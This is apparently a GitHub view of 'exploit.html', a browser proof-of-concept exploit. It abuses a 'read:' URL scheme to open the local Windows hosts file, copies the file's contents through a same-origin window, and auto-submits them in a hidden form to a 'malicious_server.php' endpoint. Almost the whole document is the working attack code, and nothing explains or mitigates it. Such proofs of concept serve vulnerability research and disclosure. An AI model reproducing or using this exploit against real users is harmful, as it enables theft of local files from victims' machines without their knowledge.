-
Notifications
You must be signed in to change notification settings - Fork 14
/
exploit.html
29 lines (27 loc) · 878 Bytes
/
exploit.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!doctype html>
<html>
<head><meta charset="UTF-8"></head>
<body>
<form id="xss_form" method="post" action="http://127.0.0.1/malicious_server.php">
<input id="xss" type="hidden" name="xss" value="">
</form>
Click anywhere to submit your hosts file
<script>
document.onclick = function(event) {
event.preventDefault();
// append a random value to prevent caching
var url = "read:,C:\\windows\\system32\\drivers\\etc\\hosts,"+Math.floor(Math.random() * 1000);
var w = window.open(url);
if (w) {
// Copy window contents, close and submit
// This is allowed because we are the same origin, since we are using subsequent read:, requests
document.getElementById("xss").value = w.document.body.innerHTML;
w.close();
document.getElementById("xss_form").submit();
}
else
document.body.innerHTML = "Popups are blocked :<";
}
</script>
</body>
</html>